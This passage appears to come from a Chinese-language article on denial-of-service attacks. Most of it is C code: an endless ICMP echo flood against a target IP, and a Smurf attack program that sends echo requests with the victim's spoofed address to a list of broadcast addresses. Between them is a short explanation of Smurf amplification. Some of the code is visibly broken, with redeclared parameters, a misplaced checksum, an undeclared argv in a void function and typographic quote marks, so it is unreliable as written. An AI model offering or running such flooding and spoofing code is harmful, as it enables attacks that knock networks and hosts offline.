int icmpFlood(int PacketSize, char *DestIp, int type, int code)
{
int datasize, ErrorCode;
int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
char SendBuf[65535] = { 0 };
WSADATA wsaData;
SOCKET SockRaw = (SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
if (PacketSize > 65500)
{
return FALSE;
}
if (type > 16)
{
return FALSE;
}
if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
{
return FALSE;
}
if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
return FALSE;
}
ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
if (ErrorCode == SOCKET_ERROR)
{
return FALSE;
}
printf("Starting...\n\n");
memset(&DestAddr, 0, sizeof(DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr(DestIp);
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount();
icmp_header.i_seq = 999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf + sizeof(icmp_header), ‘E‘, PacketSize);
icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);
datasize = sizeof(icmp_header) + PacketSize;
while (1)
{
printf("Sending 1024 packets...\n");
for (counter = 0; counter < 1024; counter++)
{
ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
if (ErrorCode == SOCKET_ERROR)
printf("\nSend Error:%d\n", GetLastError());
}
}
if (SockRaw != INVALID_SOCKET)
closesocket(SockRaw);
WSACleanup();
return TRUE;
}
ICMP SMURF
攻擊者向許多地址發送ICMP Echo Request，但是它卻告訴這些地址ICMP Echo Request不是它自己發的，而是"某某"發的，這個"某某"就會成為"眾矢之的"。通過偽裝目的主機的IP地址，向多個IP 網路的廣播位址發送ICMP Echo Request資料包，使得目的主機需要消耗大量CPU 資源和有效頻寬來處理來自眾多節點的ICMP Reply資料包。該攻擊的原理如：
可以看出，頻寬僅為128Kbps的攻擊者可以擊潰頻寬比其更大（512Kbps）的目標，因為ICMP SMURF採用的手段是"借刀殺人"！它本身並不向目標發送ICMP訊息，而是向許多遠程主機"誣告"攻擊目標向他們發送了ICMP Echo，於是這些遠程主機紛紛向攻擊目標發送ICMP Reply，導致攻擊目標崩潰。有明一代名將袁崇煥督師就是因為滿人的反間計而被崇禎淩遲，並被當時的北京市民爭其肉而食的。網路攻擊中的"借刀殺人"照樣威力無窮。
一個實現ICMP SMURF的程式架構如下：
void icmpSmurf(void)
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);
//…
memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
//…
x = 0;
while (!feof(bcastfile))
{
fgets(buf, 32, bcastfile);
if (buf[0] == ‘#‘ || buf[0] == ‘\n‘ || !isdigit(buf[0]))
continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == ‘\n‘)
buf[i] = ‘\0‘;
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);
if (x == 0)
{
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit( - 1);
}
if (pktsize > 1024)
{
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit( - 1);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("getting socket");
exit( - 1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (i = 0; i < num || !num; i++)
{
if (!(i % 25))
{
printf(".");
fflush(stdout);
}
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0)
cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
} |
其中調用的smurf()函數為：
void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr*)packet;
icmp = (struct icmphdr*)(packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize);
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0,
(struct sockaddr*) &sin, sizeof(struct sockaddr));
free(packet);
}
|
|
